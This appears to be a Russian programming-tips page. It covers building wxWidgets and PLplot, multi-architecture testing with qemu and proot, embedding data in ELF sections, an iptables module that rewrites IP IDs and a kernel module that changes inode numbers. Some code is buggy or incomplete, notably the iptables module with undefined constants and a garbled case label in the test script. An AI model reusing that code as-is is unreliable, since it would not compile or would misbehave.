__mingw_stdio_redirect__(snprintf)(char*, size_t, const char*, ...); Далее, нужно открыть командную строку через Пуск-Выполнить - cmd В командной строке: cd c:\\wxWidgets-3.0.4\\build\\msw mingw32-make -f makefile.gcc SHARED=1 UNICODE=1 BUILD=release MONOLITHIC=0 Компиляция обычно занимает до получаса, в результате в каталоге "wxWidgets-3.0.4\\lib\\gcc_dll" дожны появиться бинарные файлы библиотек. Можно идти далее... 3) Установка библиотеки plPlot Качаем исходники с офциального сайта, распаковываем во временный каталог "c:\\Temp\\" или другой, но только не в корень диска, так как там, в результате, будет бинарная сборка. Для успешной компиляции необходимо произвести следующие действия:
  • Скопировать из "wxWidgets-3.0.4\\lib\\gcc_dll\\" файлы "wxbase30u_gcc_custom.dll" и "wxmsw30u_core_gcc_custom.dll" в каталог "Temp\\plplot-5.13.0\\dll\\"
  • Отредактировать "Temp\\plplot-5.13.0\\drivers\\wxwidgets_dev.cpp" строку под номером 647 rand_s(&m_seed); и привести ее к виду: m_seed = rand(); Сохранить файл. В командной строке Windows cmd: cd c:\\Temp\\plplot-5.13.0\\ cmake -G "MinGW Makefiles" -DCMAKE_INSTALL_PREFIX=c:\\plplot\\ -DENABLE_wxwidgets=ON -DPLD_wxwidgets=ON Необходимо убедиться в отсутствии ошибок и что переменные установлены верно: .... a lot of output .... wxWidgets_FOUND=TRUE .... a lot of output .... ENABLE_wxwidgets=ON Если что-то пошло не так, нужно выяснить причину, удалить каталог "CMakeFiles\\" и файл "CMakeCache.txt" и запустить CMake повторно. Опять переходим в командную строку: mingw32-make Дожидаемся успешной компиляции и в cmd от имени Администратора: cd c:\\Temp\\plplot-5.13.0\\ mingw32-make install После указанных действий появляется каталог "c:\\plplot\\" c бинарной сборкой библиотеки и заголовочными файлами. 4) Установка среды разработки приложений Code::Blocks Здесь особых нюансов не предвидется. Качаем C::B с официального сайта, запускаем установщик и убеждаемся, что система увидела компилятор. Запускаем IDE с рабочего стола двойным щелчком. 5) Проба пера: "Hello, World!" На начальном экране Code::Blocks нажимаем "Create New Project", в выпадающем списке "Category"->"GUI", нажать "new wxWidgets Project". В диалоге нужно выбрать версию wxWidgets-3.0.x, далее, директорию проекта и название, имя автора, далее установить буллеты: Preferred GUI Builder - [o]wxSmith Application type - [o]Frame based далее, "wxWidgets location" - "c:\\wxWidgets-3.0.4" , далее, установить галочки в "wxWidgets library settings": [V] Use wxWidgets dll [V] Enable Unicode Finish. Раскроется окно GUI-Builder'а wxSmith. Здесь в окне "Management" переходим во вкладку "Projects" и правым щелчком мыши на названии проекта в контекстном выбираем "Build options". Откроется окно "Project build options", на вкладке "Linker settings" добавляем 3 библиотеки кнопкой "Add" это (одной строкой): plplot.dll;plplotcxx.dll;plplotwxwidgets.dll; на вкладке "Search directories":
  • для "Compiler" добавить "c:\\plplot\\include",
  • для "Linker" добавить "c:\\plplot\\lib". 5.1) Можно приступить к программированию.. В дереве проекта открываем файл "Headers - Main.h" и добавляем заголовки: #include <wx/dc.h> #include <wx/dcclient.h> #include <wx/dcmemory.h> #include <plplot/wxPLplotstream.h> В секции private класса Фрейма пишем: private: int w, h; wxBitmap bmp; wxMemoryDC mdc; wxPLplotstream pls; Открываем файл "Sources - Main.cpp" и в теле конструктора Фрейма testFrame::testFrame(wxWindow* parent,wxWindowID id) после служебного кода вставляем: GetSize(&w, &h); bmp.Create( w, h, -1 ); mdc.SelectObject(bmp); if(! pls.IsValid()){ pls.Create((wxDC*)&mdc, w, h, wxPLPLOT_NONE); } const int NSIZE = 80; PLFLT x[NSIZE], y[NSIZE]; x[0] = (-1) * NSIZE/4; y[0] = x[0] * x[0]; for(int i=1; i < NSIZE; i++){ x[i] = x[i - 1] + 0.5; y[i] = x[i] * x[i]; } pls.env(-20., 20., -10., 100, 0, 1); pls.width(2); pls.col0(3); pls.line(NSIZE, x, y); Затем, необходимо в окне "Management" на вкладке "Resources" открыть wxSmith, выделить главное окно и создать обработчик события EVT_PAINT в разделе "{}" Events. Функция автоматически называется "OnPaint". В ее теле вводим код: void testFrame::OnPaint(wxPaintEvent& event) { int width, height; GetSize( &width, &height ); height = height; // Check if we window was resized (or dc is invalid) if((w != width) || (w != height) ) { w = width; h = height; mdc.SelectObject( wxNullBitmap ); bmp.Create(w,h, mdc); mdc.SelectObject(bmp); pls.SetSize( width, height ); pls.replot(); Refresh(false); } wxPaintDC dc(this); dc.Blit(0,0,w,h,(wxDC*)&mdc,0,0); } Для запуска приложения потребуются бинарники всех библиотек, так что копируем из "wxWidgets-3.0.4\\lib\\gcc_dll\\" файлы "wxbase30u_gcc_custom.dll" и "wxmsw30u_core_gcc_custom.dll", из "plplot\\bin" все 5 dll файлов и из "plplot\\lib\\plplot5.13.0\\drivers" файл "wxwidgets.dll" в каталог проекта "bin\\Debug", туда, где будет собран основной .exe файл. Итого, минимальный список библиотек:
  • libcsirocsa.dll
  • libplplot.dll
  • libplplotcxx.dll
  • libplplotwxwidgets.dll
  • libqsastime.dll
  • wxwidgets.dll
  • wxmsw30u_gcc_custom.dll
  • wxmsw30u_core_gcc_custom.dll Теперь можно спокойно собрать проект и запустить бинарный файл. в итоге получается такая симпатичная парабола. По вопросам сборки библиотек, прошу обращаться на почту автора xsrc@mail.ru.
  •  
    ----* Создание программ под SynapseOS   Автор: Арен Елчинян  [комментарии]
     
    Пример создания приложения "Hello World", используя clang и сисфункцию вывода для
    SynapseOS.
    
    Перед написанием любой программы нужно установить средства сборки.
    В Ubuntu:
    
       sudo apt install llvm lld  
    
    Далее перейдём к теории.
    
    Сисфункции в SynapseOS вызываются через прерывание 0x80.
    
    Регистры сисфункций:
      eax - номер сисфункций
      ebx - параметр 1
      edx - параметр 2
      ecx - параметр 3
      esi - параметр 4
      edi - параметр 5
      ebp - параметр 6
    
    В eax также идёт результат выполнения.
    
    Пример вызова сисфункции:
    
       mov eax, 42 ; Получаем количество тиков
       int 80h ; Вызов прерывания
    
    Нас интересует сисфункция под номером 0 - вывод строки в консоль.
    
    На языке С это выглядит так:
    
       int print_str(char *str) {
         uint32_t result = 0;
         asm volatile("int $0x80" 
               : "=a"(result)         // result = eax (после выполнения)
               : "a"(SC_CODE_puts),   // eax = SC_CODE_puts(0)
                 "b"(str)             // ebx = str
         );
         return result;
       }
       int main() {
         return print_str("Hello world!\\n");
       }
    
    Результат:
    
       Hello world!
    
    На ассемблере FASM:
    
       ; Hello World - FASM
       format ELF
       public main
       main:
         mov eax, 0   ; 0 - сисфункция
         mov ebx, hello ; параметры сисфункции
         int 80h
         ret
       hello db 'Hello world!\\n',0
    
    Результат:
    
       Hello world!
    
     
    ----* Тестирование хелловорлда под 17 платформ одним скриптом   Автор: Урри  [комментарии]
     
    В заметке рассказано как собрать и, главное, запустить и протестировать свой
    хелловорлд сразу под 17 платформ (29 вариантов сборки, так как почти каждая
    платформа идёт в двух вариантах: libc и musl) не создавая зоопарк виртуалок.
    Все желаемое осуществляется с помощью сборочного инструментарий void-linux, за
    что им огромное спасибо - работа проделана огромная.
    
    Итак, что нам надо:
    
    
  • Linux, любой (я использую Mint),
  • Git (им будем ставить инструментарий для сборки исходных текстов),
  • 20+ ГБ на диске (у меня выделенный SSD, хотя все равно долго получается).
  • fuse-overlayfs
  • proot
  • qemu-static Все остальное автоматически доставится в процессе. Шаг 1: настройка основной среды. Этот шаг полностью описан в совете "Сборка и тестирование хелловорлда под 17 платформ одним скриптом" по ссылке https://www.opennet.ru/tips/3193_build_compile_test_arm_mips_x86_powerp.shtml Там же описана сборка. Следующие шаги предполагают, что шаг 1 проделан и все функционирует без ошибок. Шаг 2: установка fuse-overlayfs и proot В Linux Mint это производится с помощью "sudo apt install fuse-overlayfs proot". fuse-overlayfs нам нужен для того, чтобы не захламлять сборочный инструментарий. Мы будем "накладывать" ваш собранный хелловорлд (и все что с ним, вы же не только один бинарный файл будете собирать?) поверх рабочей файловой системы. proot нам нужен для создания рута (/), в котором и будет работать наша эмуляция всяких arm и mips. Шаг 3: qemu. Ставим qemu, причём нам нужны статически скомпонованные исполняемые файлы, так как мы их будем запускать в отдельном руте, не имеющем доступа к любым библиотекам хоста. Для тестирования всех платформ нам нужны будут вот эти: qemu-aarch64-static, qemu-arm-static, qemu-i386-static, qemu-mipsel-static, qemu-mips-static, qemu-ppc64le-static, qemu-ppc64-static, qemu-ppc-static, qemu-x86_64-static. В Linux Mint они ставятся с помощью "sudo apt install qemu-user-static". Шаг 4: пути. Создаём каталог "testing" прямо в нашем рабочем окружении (куда вы клонировали void-packages, у меня этот каталог так и называется - "void-packages"). Не будем выносить сор из избы. В этом каталоге заводим временные подкаталоги для fuse-overlayfs. Я их назвал по платформам (aarch64, armv5tel, armv7hf-musl, и т.д.) Полный список не даю - мы их будем автоматически создавать в скрипте. Шаг 5: скрипт. Создаём вот такой, немного увесистый скрипт (ну уж извините - платформ много, под каждую надо кое-что захардкодить) в том же рабочем каталоге ("void-packages"). Я назвал его "script.sh". Пара комментариев к скрипту (они же есть и в коде скрипта):
  • 1. Очистка обязательна. Некоторые платформы между собой конфликтуют и без очистки у вас вполне возможно бинарник не запустится.
  • 2. В скрипте считается, что ваша поделка инсталлируется как /usr/bin/helloworld. Если это не так - поправьте скрипт под себя.
  • 3. Обязательно обратите внимание на то, что версия нашего хелловорлда - "1.0". Это вписано в предыдущем совете. Если версия у вас уже другая - поменяйте путь в скрипте (найдёте его поиском). Запускать скрипт как: "$ script.sh armv7l" #!/bin/bash [ -z "$1" ] && exit export PATH=$PATH:`pwd`/xbps/usr/bin arch=$1 folder() { case $1 in aarch64-musl) echo aarch64-linux-musl;; aarch64) echo aarch64-linux-gnu;; armv5tel-musl) echo arm-linux-musleabi;; armv5tel) echo arm-linux-gnueabi;; armv5te-musl) echo arm-linux-musleabi;; armv5te) echo arm-linux-gnueabi;; armv6hf-musl) echo arm-linux-musleabihf;; armv6hf) echo arm-linux-gnueabihf;; armv6l-musl) echo arm-linux-musleabihf;; armv6l) echo arm-linux-gnueabihf;; armv7hf-musl) echo armv7l-linux-musleabihf;; armv7hf) echo armv7l-linux-gnueabihf;; armv7l-musl) echo armv7l-linux-musleabihf;; armv7l) echo armv7l-linux-gnueabihf;; i686-musl) echo i686-linux-musl;; i686) echo i686-pc-linux-gnu;; mipselhf-musl) echo mipsel-linux-muslhf;; mipsel-musl) echo mipsel-linux-musl;; mipshf-musl) echo mips-linux-muslhf;; mips-musl) echo mips-linux-musl;; ppc64le-musl) echo powerpc64le-linux-musl;; ppc64le) echo powerpc64le-linux-gnu;; ppc64-musl) echo powerpc64-linux-musl;; ppc64) echo powerpc64-linux-gnu;; ppcle-musl) echo powerpcle-linux-musl;; ppcle) echo powerpcle-linux-gnu;; ppc-musl) echo powerpc-linux-musl;; ppc) echo powerpc-linux-gnu;; x86_64-musl) echo x86_64-linux-musl;; esac } qemu() { case $1 in aarch64-musl) echo qemu-aarch64-static;; aarch64) echo qemu-aarch64-static;; armv5tel-musl) echo qemu-arm-static;; armv5tel) echo qemu-arm-static;; armv5te-musl) echo qemu-arm-static;; armv5te) echo qemu-arm-static;; armv6hf-musl) echo qemu-arm-static;; armv6hf) echo qemu-arm-static;; armv6l-musl) echo qemu-arm-static;; armv6l) echo qemu-arm-static;; armv7hf-musl) echo qemu-arm-static;; armv7hf)aarch64-linux-musl echo qemu-arm-static;; armv7l-musl) echo qemu-arm-static;; armv7l) echo qemu-arm-static;; i686-musl) echo qemu-i386-static;; i686) echo qemu-i386-static;; mipselhf-musl) echo qemu-mipsel-static;; mipsel-musl) echo qemu-mipsel-static;; mipshf-musl) echo qemu-mips-static;; mips-musl) echo qemu-mips-static;; ppc64le-musl) echo qemu-ppc64le-static;; ppc64le) echo qemu-ppc64le-static;; ppc64-musl) echo qemu-ppc64-static;; ppc64) echo qemu-ppc64-static;; ppcle-musl) echo qemu-ppc-static;; ppcle) echo qemu-ppc64le-static;; ppc-musl) echo qemu-ppc-static;; ppc) echo qemu-ppc-static;; x86_64-musl) echo qemu-x86_64-static;; esac } ROOT=`pwd`/testing/$arch # qemu. # на этом шаге мы копируем бинарник qemu в наш будущий рут, чтобы fuse-overlayfs могла его не только найти, но и спокойно запустить [ -s `pwd`/masterdir/usr/$(folder $arch)/$(qemu $arch) ] || cp `which $(qemu $arch)` `pwd`/masterdir/usr/$(folder $arch) echo ----------------------------------------------------------------------------------------------------- echo $arch # обязательно почистим сборку ./xbps-src -a $arch clean helloworld # собираем. детали в прошлом совете ./xbps-src -a $arch -C pkg helloworld || exit $? echo -- package built, lets install them ----------------------------------------------------------------- # создаём временный каталог для fuse-overlayfs [ -d "$ROOT" ] || mkdir "$ROOT" # накладываем собранный (и заинсталлированный тулчейном во внутренний каталог) хелловорлд на новый рут тестируемой платформы # 1.0 - версия сборки вашего пакета. детали в предыдущем совете. sleep 1 fuse-overlayfs \\ -o lowerdir=`pwd`/masterdir/usr/$(folder $arch) \\ -o upperdir=`pwd`/masterdir/destdir/$(folder $arch)/helloworld-1.0 \\ -o workdir=$ROOT \\ $ROOT echo -- testing ------------------------------------------------------------------------------------------ # а вот и само тестирование - тут ваш хелловорлд для проверки может, например, сделать `system("uname -a");` # /usr/bin/helloworld - путь, куда инсталлируется по умолчанию ваша поделка sleep 1 proot -R $ROOT /$(qemu $arch) /usr/bin/helloworld # вот мой вывод, например: "Linux ___ 5.4.0-99-generic #112-Ubuntu SMP Thu Feb 3 13:50:55 UTC 2022 armv7l" echo -- done --------------------------------------------------------------------------------------------- # и, конечно же, надо прибрать за собой. sleep 1 fusermount -u $ROOT Шаг 6: последний - автоматизация. Делаем ещё один, финальный скрипт. Его же и дёргаем когда хотим проверить не сломали ли мы что-то в очередной раз своим новым кoдoм. for arch in x86_64-musl \ aarch64-musl aarch64 \ armv5tel-musl armv5tel armv5te-musl armv5te armv6hf-musl armv6hf armv6l-musl armv6l armv7hf-musl armv7hf armv7l-musl armv7l \ i686-musl i686 \ mipselhf-musl mipsel-musl mipshf-musl mips-musl \ ppc64le-musl ppc64le ppc64-musl ppc64 \ ppcle-musl ppcle \ ppc-musl ppc do ./script.sh $arch done Все. Надеюсь, эта вполне несложная автоматизация поможет вам овладеть действительно мультиплатформенным кодингом.
  •  
    ----* Sonatype Nexus как Maven proxy (доп. ссылка 1)   Автор: ACCA  [комментарии]
     
    При попытке установить, например,
    com.google.protobuf:protoc:exe:linux-x86_64:2.6.1, получаете ошибку:
    
       Return code is: 400, ReasonPhrase: Detected content type [application/x-executable], but expected [application/x-dosexec]: com/google/protobuf/protoc/2.6.1/protoc-2.6.1-linux-x86_64.exe
    
    В настройке репозитория maven2(proxy) есть незаметная галочка "Validate that
    all content uploaded to this repository is of a MIME type appropriate for the
    repository format".
    
    Её выключение решает проблему, так как Nexus и Maven Central по-разному назначают MIME type.
    
     
    ----* Запись бинарных данных в секцию ELF   Автор: 赤熊  [комментарии]
     
    Стоит задача - в программе запрятать бинарные данные. Допустим архив. 
    
    Создаём файл data.cpp для включения запланированных для добавления данных:
    
       volatile char a[DATASIZE] __attribute__((section(".her"))) = {0xfa};
    
    Таким образом мы обозначаем намерения создать переменную в отдельной секции.
    
    Далее компилируем data.cpp в object-файл data.o:
    
       g++ -c -g data.cpp
    
    Смотрим shed-адрес секции. И производим заливку согласно предустановленному
    размеру переменной "a". На&#12288;моём компьютере это выглядит так:
    
       dd if=out.tar of=data.o bs=1 count= seek=52 conv=notrunc
    
    Архив, либо бинарник конечно предварительно может быть зашифрован, дабы
    избежать лишних посягательств. Дальнейшую сборку программы можно сделать Make
    файлом, но я решил написать командами для наглядности процесса:
    
       g++ -c -g main.cpp
       g++ -g -o test main.o data.o
    
    
    Альтернативный вариант от посетителя maneken:
    
       __asm(
       ".global data_file\n"
       ".global _data_file\n"
       "data_file:\n"
       "_data_file:\n"
       ".incbin \"data.zip\"\n"
       ".global data_file_len\n"
       ".global _data_file_len\n"
       "data_file_len:\n"
       "_data_file_len:\n"
       ".int .-data_file \n"
       );
    
       extern void * data_file;
       extern void * data_file_len;
       unsigned char * data =(unsigned char *)&data_file;
       int * datalen =(int *) &data_file_len;
    
     
    ----* Оценка стоимости сборки Android 5 (x86-64) на облачных серверах Amazon EC2 (доп. ссылка 1)   Автор: Abylay Ospan  [комментарии]
     
    Краткая сводка по результатам тестирования: 
       сервер 4 CPU, 16GB RAM, время сборки: 04:35:30 стоимость: $1.15 
       сервер 16 CPU, 64GB RAM, время сборки: 01:12:02 стоимость: $1.21
       сервер 40 CPU, 160GB RAM, время сборки: 00:32:15 стоимость: $1.34
    
    По результам видно, что разница в цене всего 15%, но при этом время сборки
    уменьшается в 8-9 раз. Сборка проводилась в разное количество потоков (make -j X).
    
    Лучший результат показал вариант 'количество CPU * 2'. Исходные тексты Android
    были взяты из репозитория на http://www.android-x86.org/
    Сборка проводилась командами: 
    
       . build/envsetup.sh && lunch android_x86_64-eng && make -j X 
    
    ОС: Ubuntu 14.04.2 LTS, kernel 3.13.0-48-generic x86_64 CPU: Intel(R) Xeon(R)
    CPU E5-2676 v3 @ 2.40GHz HDD: SSD 160GB
    
     
    ----* Как собрать в новом GCC старую C++-программу, использующую iostream.h   [комментарии]
     
    В блоках #include следует заменить iostream.h и fstream.h на iostream и fstream
    (убрать ".h"). В начало файлов нужно добавить "using namespace std;", а при
    сборке в Makefile указать флаг "-fpermissive".
    
     
    ----* Внедрение точек останова gdb в исходный код (доп. ссылка 1)   Автор: glebiao  [комментарии]
     
    На github опубликован способ внедрения в исходный код точек останова для
    gdb, не влияющий на нормальное выполнение программы в отсутствие отладчика.
    Способ основан на размещении адреса локальной переменной в секции
    (embed-breakpoints линкера).
    
    
      #define EMBED_BREAKPOINT \\
        asm("0:"                              \\
            ".pushsection embed-breakpoints;" \\
            ".quad 0b;"                       \\
            ".popsection;")
    
       int main() {
           printf("Hello,\\n");
           EMBED_BREAKPOINT;
           printf("world!\\n");
           EMBED_BREAKPOINT;
           return 0;
       }
    
    Собираем враппер для gdb:
    
        sudo apt-get install binutils-dev
        git clone git://github.com/kmcallister/embedded-breakpoints.git
        cd embedded-breakpoints
        ./build.sh
    
    Собираем тестовое приложение и запускаем под управлением враппера к gdb:
    
       $ gcc -g -o example example.c
       $ ./gdb-with-breakpoints ./example
    
       Reading symbols from example...done.
       Breakpoint 1 at 0x4004f2: file example.c, line 8.
       Breakpoint 2 at 0x4004fc: file example.c, line 10.
    
       (gdb) run
    
       Starting program: example 
       Hello,
    
       Breakpoint 1, main () at example.c:8
       8           printf("world!\\n");
    
       (gdb) info breakpoints
    
       Num     Type           Disp Enb Address            What
       1       breakpoint     keep y   0x00000000004004f2 in main at   example.c:8
            breakpoint already hit 1 time
       2       breakpoint     keep y   0x00000000004004fc in main at example.c:10
    
    При выполнении напрямую и или в версии gdb без специального враппера точки
    останова никак не отражаются на работе программы.
    
     
    ----* Создание модуля для iptables, изменяющего ID пакета (доп. ссылка 1)   Автор: xlise  [комментарии]
     
    Данная статья основывается на материале "Разработка Match-модуля для iptables
    своими руками" (http://www.linuxjournal.com/article/7184), но код работает на
    ядрах 2.6.20+.
    
    Мне потребовалось изменить ID IP пакетов, в интернете подходящей инструкции как
    это сделать на ядре 2.6.24 я не нашел, из-за этого решил написать, как удалось
    решить задачу.
    
    Для реализации задуманного нам понадобится написать модуль ядра, который будет
    выполнять проверку и модуль расширения для iptables, который будет работать с
    модулем ядра - создавать новые цепочки,
    использующие наш модуль, выводить информацию о критерии при выводе списка
    правил на экран, а также проверять корректность передаваемых модулю параметров.
    
    Сначала создадим общий заголовочный файл ipt_ID.h:
    
       #ifndef _IPT_ID_H
       #define _IPT_ID_H
    
       enum {
           IPT_ID_RAND = 0,
           IPT_ID_INC
       };
    
       #define IPT_ID_MAXMODE  IPT_ID_INC
    
       struct ipt_ID_info {
           u_int8_t        mode;
           u_int16_t       id;
       };
    
       #endif
    
    Теперь скопируем его в исходники netfilter в директорию
    linux/netfilter_ipv4/
    
    Далее рассмотрим модуль ядра ipt_ID.с.
    
       #include <linux/module.h>
       #include <linux/skbuff.h>
       #include <linux/ip.h>
       #include <net/checksum.h>
       #include <linux/random.h>
       #include <linux/netfilter/x_tables.h>
       #include <linux/netfilter_ipv4/ipt_ID.h>
    
       MODULE_AUTHOR("Xlise <demonxlise@gmail.com>");
       MODULE_DESCRIPTION("Xtables: IPv4 ID field modification target");
       MODULE_LICENSE("GPL");
       static int count=0;
       static struct iphdr l_iph[5];
       static unsigned int
       id_tg(struct sk_buff *skb, const struct net_device *in,
            const struct net_device *out, unsigned int hooknum,
            const struct xt_target *target, const void *targinfo)
       {
             struct iphdr *iph;
             const struct ipt_ID_info *info = targinfo;
             u_int16_t new_id;
             int i=0;
             if (!skb_make_writable(skb, skb->len))
                     return NF_DROP;
    
             iph = ip_hdr(skb);
    
             switch (info->mode) {
                     case IPT_ID_RAND:
                             get_random_bytes(&info->id, sizeof(info->id));
                             new_id = info->id;
                             break;
                     case IPT_ID_INC:
    
    
       while (i<5)
       {
       if (l_iph[i].daddr == iph->daddr)
           {
           new_id = l_iph[i].id + htons(1);
           l_iph[i].id = new_id;
           }
    
       else
           {new_id = iph->id;
           l_iph[count] = *iph;
           count++;
           if (count > 4)
              count = 0;
           }
       i++;
       }
                     default:
                             new_id = iph->id;
                             break;
             }
    
             if (new_id != iph->id) {
                     csum_replace2(&iph->check, iph->id,
                                               new_id);
                     iph->id = new_id;
             }
    
             return XT_CONTINUE;
       }
    
       static bool
       id_tg_check(const char *tablename, const void *e,
                  const struct xt_target *target, void *targinfo,
                  unsigned int hook_mask)
       {
             const struct ipt_ID_info *info = targinfo;
    
             if (info->mode > IPT_ID_MAXMODE) {
                     printk(KERN_WARNING "ipt_ID: invalid or unknown Mode %u\n",
                             info->mode);
                     return false;
             }
             if (info->mode != IPT_ID_SET && info->id == 0)
                     return false;
             return true;
       }
    
       static struct xt_target id_tg_reg __read_mostly = {
             .name           = "ID",
             .family         = AF_INET,
             .target         = id_tg,
             .targetsize     = sizeof(struct ipt_ID_info),
             .table          = "mangle",
             .checkentry     = id_tg_check,
             .me             = THIS_MODULE,
       };
    
       static int __init id_tg_init(void)
       {
             return xt_register_target(&id_tg_reg);
       }
    
       static void __exit id_tg_exit(void)
       {
             xt_unregister_target(&id_tg_reg);
       }
    
       module_init(id_tg_init);
       module_exit(id_tg_exit);
    
    Напишем Makefile для нашего модуля:
    
       obj-m := ipt_ID.o
       KDIR  := /lib/modules/$(shell uname -r)/build
       PWD   := $(shell pwd)
       $(MAKE) -C $(KDIR) M=$(PWD) modules
    
    добавим модуль в ядро
    
       insmod ipt_ID.ko
    
    Для создания модуля для iptables нам потребуются исходники для iptables-1.4.4
    
    Создадим файл libipt_ID.c
    
       #include <stdio.h>
       #include <string.h>
       #include <stdlib.h>
       #include <getopt.h>
       #include <xtables.h>
       #include <linux/netfilter_ipv4/ipt_ID.h>
    
       #define IPT_ID_USED     1
    
       static void ID_help(void)
       {
           printf(
       "ID target options\n"
       "  --id-rand value              Set ID to \n"
       "  --id-inc value               Increment ID by \n");
       }
    
       static int ID_parse(int c, char **argv, int invert, unsigned int *flags,
                        const void *entry, struct xt_entry_target **target)
       {
           struct ipt_ID_info *info = (struct ipt_ID_info *) (*target)->data;
           u_int16_t value;
    
           if (*flags & IPT_ID_USED) {
                   xtables_error(PARAMETER_PROBLEM,
                                   "Can't specify ID option twice");
           }
    
           if (!optarg)
                   xtables_error(PARAMETER_PROBLEM,
                                   "ID: You must specify a value");
    
           if (xtables_check_inverse(optarg, &invert, NULL, 0))
                   xtables_error(PARAMETER_PROBLEM,
                                   "ID: unexpected `!'");
    
           if (!xtables_strtoui(optarg, NULL, &value, 0, UINT16_MAX))
                   xtables_error(PARAMETER_PROBLEM,
                              "ID: Expected value between 0 and 255");
    
           switch (c) {
    
                   case '1':
                           info->mode = IPT_ID_RAND;
                           break;
    
                   case '2':
                           if (value == 0) {
                                   xtables_error(PARAMETER_PROBLEM,
                                           "ID: increasing by 0?");
                           }
    
                           info->mode = IPT_ID_INC;
                           break;
    
                   default:
                           return 0;
    
           }
    
           info->id = value;
           *flags |= IPT_ID_USED;
    
           return 1;
       }
    
       static void ID_check(unsigned int flags)
       {
           if (!(flags & IPT_ID_USED))
                   xtables_error(PARAMETER_PROBLEM,
                                   "TTL: You must specify an action");
       }
    
       static void ID_save(const void *ip, const struct xt_entry_target *target)
       {
           const struct ipt_ID_info *info =
                   (struct ipt_ID_info *) target->data;
    
           switch (info->mode) {
                   case IPT_ID_SET:
                           printf("--id-set ");
                           break;
                   case IPT_ID_DEC:
                           printf("--id-dec ");
                           break;
    
                   case IPT_ID_INC:
                           printf("--id-inc ");
                           break;
           }
           printf("%u ", info->id);
       }
    
       static void ID_print(const void *ip, const struct xt_entry_target *target,
                         int numeric)
       {
           const struct ipt_ID_info *info =
                   (struct ipt_ID_info *) target->data;
    
           printf("ID ");
           switch (info->mode) {
                   case IPT_ID_SET:
                           printf("set to ");
                           break;
                   case IPT_ID_DEC:
                           printf("decrement by ");
                           break;
                   case IPT_ID_INC:
                           printf("increment by ");
                           break;
           }
           printf("%u ", info->id);
       }
    
       static const struct option ID_opts[] = {
           { "id-set", 1, NULL, '1' },
           { "id-inc", 1, NULL, '2' },
           { .name = NULL }
       };
    
       static struct xtables_target id_tg_reg = {
           .name           = "ID",
           .version        = XTABLES_VERSION,
           .family         = NFPROTO_IPV4,
           .size           = XT_ALIGN(sizeof(struct ipt_ID_info)),
           .userspacesize  = XT_ALIGN(sizeof(struct ipt_ID_info)),
           .help           = ID_help,
           .parse          = ID_parse,
           .final_check    = ID_check,
           .print          = ID_print,
           .save           = ID_save,
           .extra_opts     = ID_opts,
       };
    
       void _init(void)
       {
           xtables_register_target(&id_tg_reg);
       }
    
    Далее скопируем файл ipt_ID.h в iptables-1.4.4/include/linux/netfilter_ipv4/ и
    файл libipt_ID.c в iptables-1.4.4/extensions/
    теперь скомпилируем iptables и скопируем файл
    iptables-1.4.4/extensions/libipt_ID.so в /lib/xtables/
    
    Теперь можно создавать цепочки в iptables
    
    пример:
    
       iptables -t mangle -A POSTROUTING -j ID --id-rand 1
    
    Будет выдавть всем пакетам случайные ID (единица в конце ничего не обозначает
    просто я не доделал модуль)
    
       iptables -t mangle -A POSTROUTING -j ID --id-inc 1
    
    Будет пакетам направленным на один IP присваивать ID постоянно увеличивая на
    единицу, может хранить в памяти пять таких цепочек (количество цепочек можно увеличить)
    
    P.S. Если кого интересует данная тема, то я доделаю статью и допишу модуль,
    просто пока всё работает и так не хочется ничего переделывать, но если нужно сделаю.
    
     
    ----* Как в программе на Си узнать от какого пользователя запущен активный экран   Автор: pavlinux  [комментарии]
     
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h> // strcmp
    #include <utmpx.h>
    
    #define XTTY  ":0"
    
    int main(void)
    {
        struct utmpx *entry;
    
        setutxent();
    
        while ( (entry = getutxent()) != NULL) {
             if ( !strcmp(entry->ut_line, XTTY) )
             printf("%s %s\n",entry->ut_line, entry->ut_user);
        }
        endutxent();
    return(EXIT_SUCCESS);
    }
    
     
    ----* Как указать GCC выводить предупреждения для бессмысленных сравнений (доп. ссылка 1)   Автор: Kir Kolyshkin  [комментарии]
     
    При сборке ниже представленного некорректного кода, gcc не выдает никаких
    предупреждений даже с -Wall, при этом указатель он приводит к unsigned, поэтому
    результат сравнения всегда ложен.
    
       if ((fp = fopen(file, "w")) < 0)
    
    Если написать:
    
       unsigned int a;
       if (a < 0)
       return 1;
       return 0;
    
    
    gcc опять не ругается и даже с -O0 генерирует код, который не делает никаких
    сравнений, а сразу возвращает результат. То есть знает, что сравнение
    бессмысленное, но молчит.
    
    Для того, чтобы gcc начал выводить предупреждения нужно указать -Wextra, тогда буде выведено:
    
       warning: comparison of unsigned expression < 0 is always false
    
    Вариант 2 (правильный):
    
       $ gcc -std=c99 -W
    
     
    ----* Изменение номера inode файла в Linux   Автор: Victor Leschuk  [комментарии]
     
    Для некоторых специфических целей может понадобиться изменить номер inode у существующего файла, 
    либо создать файл с заранее заданным номером. Штатными средствами сделать это -
    задача нетривиальная,
    однако с помощью модуля ядра это несложно. 
    
    Создаем файл inode_modify.c следующего содержания: 
    
     #include <linux/module.h>
     #include <linux/kernel.h>
     #include <linux/version.h>
    
     #include <linux/fs.h>
     #include <linux/namei.h>
    
     #ifndef BUF_LEN
     #define BUF_LEN 256
     #endif
    
     char file[BUF_LEN];
     unsigned long new_num=0;
    
     module_param_string( name, file, BUF_LEN, 0);
     module_param(new_num, ulong, 0);
    
    
     struct nameidata nd;
    
     unsigned long get_number() {
    	int error;
    	error = path_lookup( file, 0, &nd);
    	printk( KERN_ALERT "name = %s\n", file);
    	if(error) {
    		printk( KERN_ALERT "Can't access file\n");
    		return -1;
    	}
     #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,25)
    	return nd.path.dentry->d_inode->i_ino;
     #else 
    	return nd.dentry->d_inode->i_ino;
     #endif
     }
    
     unsigned long set_number(unsigned long new_num) {
     #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,25)
    	nd.path.dentry->d_inode->i_ino = new_num;
    	return nd.path.dentry->d_inode->i_ino;
     #else 
    	nd.dentry->d_inode->i_ino = new_num;
    	return nd.dentry->d_inode->i_ino;
     #endif
     }
     int inode_modify_init(){
    	unsigned long inode_num;
    	inode_num = get_number();
    	printk ( KERN_ALERT "Inode number is %lu\n", inode_num);
    	printk ( KERN_ALERT "New inode number is %lu\n",  set_number(new_num));
    	return 0;
     }
    
     void inode_modify_exit(){
    	printk(KERN_ALERT "Exiting...\n"); 
     }
    
     module_init(inode_modify_init);
     module_exit(inode_modify_exit);
    
     MODULE_LICENSE("GPL");
     MODULE_AUTHOR("Victor Leschuk <Victor.Leschuk@ebanat.com>");
    
